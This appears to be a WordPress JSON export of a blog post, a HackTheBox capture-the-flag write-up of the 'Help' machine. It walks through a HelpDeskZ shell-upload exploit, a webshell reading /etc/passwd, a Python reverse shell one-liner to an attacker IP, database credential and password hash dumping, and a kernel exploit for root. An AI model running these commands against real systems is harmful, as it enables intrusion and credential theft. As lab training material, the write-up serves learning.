{"id":125,"date":"2019-05-26T12:44:53","date_gmt":"2019-05-26T12:44:53","guid":{"rendered":"http:\/\/www.unordnung.net\/?p=125"},"modified":"2019-05-26T12:44:53","modified_gmt":"2019-05-26T12:44:53","slug":"hackthebox-writeup-of-help","status":"publish","type":"post","link":"https:\/\/unordnung.net\/misc\/2019\/05\/hackthebox-writeup-of-help\/","title":{"rendered":"HackTheBox writeup of &quot;Help&quot;"},"content":{"rendered":"<p>my first writeup for a hackthebox.eu machine called: Help, 10.10.10.120<br \/>\n$ nmap -Pn &#8211;script vuln 10.10.10.121<br \/>\nStarting Nmap 7.70 ( https:\/\/nmap.org ) at 2019-05-11 13:22 CEST<br \/>\nPre-scan script results:<br \/>\n| broadcast-avahi-dos:<br \/>\n| Discovered hosts:<br \/>\n| 224.0.0.251<br \/>\n| After NULL UDP avahi packet DoS (CVE-2011-1002).<br \/>\n|_ Hosts are all up (not vulnerable).<br \/>\nNmap scan report for 10.10.10.121<br \/>\nHost is up (0.041s latency).<br \/>\nNot shown: 997 closed ports<br \/>\nPORT STATE SERVICE<br \/>\n22\/tcp open ssh<br \/>\n80\/tcp open http<br \/>\n| http-cookie-flags:<br \/>\n| \/support\/:<br \/>\n| PHPSESSID:<br \/>\n|_ httponly flag not set<br \/>\n|_http-csrf: Couldn&#8217;t find any CSRF vulnerabilities.<br \/>\n|_http-dombased-xss: Couldn&#8217;t find any DOM based XSS.<br \/>\n| http-enum:<br \/>\n|_ \/support\/: Potentially interesting folder<br \/>\n|_http-stored-xss: Couldn&#8217;t find any stored XSS vulnerabilities.<br \/>\n3000\/tcp open ppp<br \/>\nhttp:\/\/10.10.10.121\/support\/ fileupload through a helpdeskz installation<br \/>\nhttps:\/\/packetstormsecurity.com\/files\/138548\/helpdeskz-shell.txt<br \/>\n\/*submit_ticket_controller.php &#8211; Line 141*<br \/>\n$filename = md5($_FILES[&#8216;attachment&#8217;][&#8216;name&#8217;].time()).&#8221;.&#8221;.$ext;<br \/>\nfiles uploaded get get obfuscated similar to <a href=\"http:\/\/www.unordnung.net\/to_remember\/vulnhub-hackingos-writeup\/\">HackinOS<\/a> (Vulnhub) md5 of the filname and current time.<br \/>\nunfortunately .php files arent allowed on the machine. too bad. tried nullbyte filenames cmd.gif^@.php etc. no luck. ah ok it seems gifs are not allowed<br \/>\nat least https:\/\/packetstormsecurity.com\/files\/138548\/helpdeskz-shell.txt taught me how i could have improved my script for hackinOS.<br \/>\nhttps:\/\/vulners.com\/zdt\/1337DAY-ID-26838 filedownload looks promising<br \/>\nok as my colleauges from link protect suggested i tried again to upload a php file and not get confused by error messages. i tried, still no luck, but then i played around with the exploit script und looked at the original helpdeskz and realized that the exploit didnt add the proper upload directory and i had to point it myself&#8230;doh, it instantly worked:<br \/>\n$ python hackthebox\/help_expl.py http:\/\/10.10.10.121\/support\/uploads\/tickets\/ ja.gif0x00.php<br \/>\nHelpdeskz v1.0.2 &#8211; Unauthenticated shell upload exploit<br \/>\nfound!<br \/>\nhttp:\/\/10.10.10.121\/support\/uploads\/tickets\/337a897ebca88cc466ee237effd5ff01.php<br \/>\nhttp:\/\/10.10.10.121\/support\/uploads\/tickets\/337a897ebca88cc466ee237effd5ff01.php?cmd=cat%20\/etc\/passwd<br \/>\nGIF89a; root:x:0:0:root:\/root:\/bin\/bash daemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin bin:x:2:2:bin:\/bin:\/usr\/sbin\/nologin sys:x:3:3:sys:\/dev:\/usr\/sbin\/nologin sync:x:4:65534:sync:\/bin:\/bin\/sync games:x:5:60:games:\/usr\/games:\/usr\/sbin\/nologin man:x:6:12:man:\/var\/cache\/man:\/usr\/sbin\/nologin lp:x:7:7:lp:\/var\/spool\/lpd:\/usr\/sbin\/nologin mail:x:8:8:mail:\/var\/mail:\/usr\/sbin\/nologin news:x:9:9:news:\/var\/spool\/news:\/usr\/sbin\/nologin uucp:x:10:10:uucp:\/var\/spool\/uucp:\/usr\/sbin\/nologin proxy:x:13:13:proxy:\/bin:\/usr\/sbin\/nologin www-data:x:33:33:www-data:\/var\/www:\/usr\/sbin\/nologin backup:x:34:34:backup:\/var\/backups:\/usr\/sbin\/nologin list:x:38:38:Mailing List Manager:\/var\/list:\/usr\/sbin\/nologin irc:x:39:39:ircd:\/var\/run\/ircd:\/usr\/sbin\/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):\/var\/lib\/gnats:\/usr\/sbin\/nologin nobody:x:65534:65534:nobody:\/nonexistent:\/usr\/sbin\/nologin systemd-timesync:x:100:102:systemd Time Synchronization,,,:\/run\/systemd:\/bin\/false systemd-network:x:101:103:systemd Network Management,,,:\/run\/systemd\/netif:\/bin\/false systemd-resolve:x:102:104:systemd Resolver,,,:\/run\/systemd\/resolve:\/bin\/false systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:\/run\/systemd:\/bin\/false syslog:x:104:108::\/home\/syslog:\/bin\/false _apt:x:105:65534::\/nonexistent:\/bin\/false messagebus:x:106:110::\/var\/run\/dbus:\/bin\/false uuidd:x:107:111::\/run\/uuidd:\/bin\/false help:x:1000:1000:help,,,:\/home\/help:\/bin\/bash sshd:x:108:65534::\/var\/run\/sshd:\/usr\/sbin\/nologin mysql:x:109:117:MySQL Server,,,:\/nonexistent:\/bin\/false Debian-exim:x:110:118::\/var\/spool\/exim4:\/bin\/false<br \/>\ni&#8217;ve got RCE \ud83d\ude42<br \/>\ni tried a few reverse shells, a python one python -c &#8216;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&#8220;10.10.14.250&#8221;,2323));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([&#8220;\/bin\/sh&#8221;,&#8221;-i&#8221;]);&#8217;<br \/>\nworked<br \/>\ngot shell \ud83d\ude42<br \/>\ntty upgrade python -c &#8216;import pty; pty.spawn(&#8220;\/bin\/bash&#8221;)&#8217;<br \/>\npython -c &#8216;import pty; pty.spawn(&#8220;\/bin\/dash&#8221;)&#8217;<br \/>\nalso help@help:\/home\/help$ whoami<br \/>\nwhoami<br \/>\nhelp<br \/>\nuser \ud83d\ude42<br \/>\nenumerating i found<br \/>\n$ cat \/var\/www\/html\/support\/includes\/config.php<br \/>\n<!--?php\n\t$config['Database']['dbname'] = 'support';\n\t$config['Database']['tableprefix'] = '';\n\t$config['Database']['servername'] = 'localhost';\n\t$config['Database']['username'] = 'root';\n\t$config['Database']['password'] = 'helpme';\n\t$config['Database']['type'] = 'mysqli';\nok its not the machines root account, only the sqld's.\nhelp@help:\/var\/www\/html\/support\/uploads\/tickets $ mysql -u root -phelpme -h localhost support\nmysql--> show databases;<br \/>\nshow databases;<br \/>\n+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;+<br \/>\n| Database |<br \/>\n+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;+<br \/>\n| information_schema |<br \/>\n| mysql |<br \/>\n| performance_schema |<br \/>\n| support |<br \/>\n| sys |<br \/>\n+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;+<br \/>\n5 rows in set (0.00 sec)<br \/>\nuse support;<br \/>\nmysql&gt; SELECT * FROM users;<br \/>\nSELECT * FROM users;<br \/>\n+&#8212;-+&#8212;&#8212;&#8212;&#8212;+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;+&#8212;&#8212;&#8211;+<br \/>\n| id | salutation | fullname | email | password | timezone | status |<br \/>\n+&#8212;-+&#8212;&#8212;&#8212;&#8212;+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;+&#8212;&#8212;&#8211;+<br \/>\n| 1 | 0 | helpme | helpme@helpme.com | c3b3bd1eb5142e29adb0044b16ee4d402d06f9ca | Indian\/Christmas | 1 |<br \/>\n(&#8230;)<br \/>\n| 53 | 0 | Foo Bar | foo@bar.nul | 439d32d3c8e4170db7c2bd3dce1ba29c0cec11b4 | NULL | 1 |<br \/>\n+&#8212;-+&#8212;&#8212;&#8212;&#8212;+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;+&#8212;&#8212;&#8211;+<br \/>\n53 rows in set (0.00 sec)<br \/>\n| 1 | 0 | helpme | helpme@helpme.com | c3b3bd1eb5142e29adb0044b16ee4d402d06f9ca | Indian\/Christmas | 1 |<br \/>\nc3b3bd1eb5142e29adb0044b16ee4d402d06f9ca sha1 godhelpmeplz<br \/>\n5d3c93182bb20f07b994a7f617e99cff md5 godhelpmeplz<br \/>\nwe got a passwd for the helpdeskz<br \/>\nwith cat &lt;&lt;EOF &lt; enum.sh<br \/>\nscript here<br \/>\nEOF<br \/>\ni could manage to get my enumeration script on the box without having a real tty. to remember! after enum, i started looking for priv esc exploits for the configuration i found some exploits for the kernel version.<br \/>\nLinux version 4.4.0-116-generic (buildd@lgw01-amd64-021) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.9) ) #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018<br \/>\nafter trying a few i found this one working https:\/\/www.exploit-db.com\/exploits\/45010<br \/>\n$ gcc bx.c -o bx<br \/>\n.\/bx<br \/>\n[.]<br \/>\n[.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)<br \/>\n[.]<br \/>\n[.] ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **<br \/>\n[.]<br \/>\n[*] creating bpf map<br \/>\n[*] sneaking evil bpf past the verifier<br \/>\n[*] creating socketpair()<br \/>\n[*] attaching bpf backdoor to socket<br \/>\n[*] skbuff =&gt; ffff8800369add00<br \/>\n[*] Leaking sock struct from ffff88000622a400<br \/>\n[*] Sock-&gt;sk_rcvtimeo at offset 472<br \/>\n[*] Cred structure at ffff88003aa15680<br \/>\n[*] UID from cred structure: 1000, matches the current: 1000<br \/>\n[*] hammering cred structure at ffff88003aa15680<br \/>\n[*] credentials patched, launching shell&#8230;<br \/>\n# cat \/root\/root.txt<br \/>\ncat \/root\/root.txt<br \/>\nb7fe6082dcdf0c1b1e02ab0d9daddb98<br \/>\n# whoami<br \/>\nwhoami<br \/>\nroot<br \/>\n\ud83d\ude42<\/p>\n","protected":false},"excerpt":{"rendered":"<p>my first writeup for a hackthebox.eu machine called: Help, 10.10.10.120 $ nmap -Pn &#8211;script vuln 10.10.10.121 Starting Nmap 7.70 ( https:\/\/nmap.org ) at 2019-05-11 13:22 CEST Pre-scan script results: | broadcast-avahi-dos: | Discovered hosts: | 224.0.0.251 | After NULL UDP avahi packet DoS (CVE-2011-1002). |_ Hosts are all up (not vulnerable). Nmap scan report for &#8230; <a title=\"HackTheBox writeup of &quot;Help&quot;\" class=\"read-more\" href=\"https:\/\/unordnung.net\/misc\/2019\/05\/hackthebox-writeup-of-help\/\">Read more<span class=\"screen-reader-text\">HackTheBox writeup of &quot;Help&quot;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5,4],"tags":[15,30,80],"class_list":["post-125","post","type-post","status-publish","format-standard","hentry","category-ctf-writeup","category-to_remember","tag-ctf","tag-hackthebox","tag-writeup"],"_links":{"self":[{"href":"https:\/\/unordnung.net\/misc\/wp-json\/wp\/v2\/posts\/125","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/unordnung.net\/misc\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/unordnung.net\/misc\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/unordnung.net\/misc\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/unordnung.net\/misc\/wp-json\/wp\/v2\/comments?post=125"}],"version-history":[{"count":0,"href":"https:\/\/unordnung.net\/misc\/wp-json\/wp\/v2\/posts\/125\/revisions"}],"wp:attachment":[{"href":"https:\/\/unordnung.net\/misc\/wp-json\/wp\/v2\/media?parent=125"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/unordnung.net\/misc\/wp-json\/wp\/v2\/categories?post=125"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/unordnung.net\/misc\/wp-json\/wp\/v2\/tags?post=125"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}